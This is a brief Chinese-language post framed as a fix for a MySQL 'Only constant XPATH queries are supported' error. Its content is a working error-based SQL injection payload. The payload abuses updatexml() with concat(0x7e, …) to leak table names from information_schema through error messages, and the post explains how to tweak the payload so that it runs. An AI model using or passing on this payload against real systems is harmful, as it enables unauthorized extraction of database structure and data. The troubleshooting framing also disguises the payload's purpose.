MySQL 错误 'Only constant XPATH queries are supported' 解决方法

将 updatexml() 函数改为一个常量值即可，比如将 1 改为 'abc'：

SELECT COUNT(1) FROM ( SELECT COUNT(1) FROM mi_users WHERE id BETWEEN 1 AND 200 and updatexml('abc',concat(0x7e,(select table_name from information_schema.tables where table_schema=0x616161 limit 0,1),0x7e),'abc') GROUP BY network_id ) a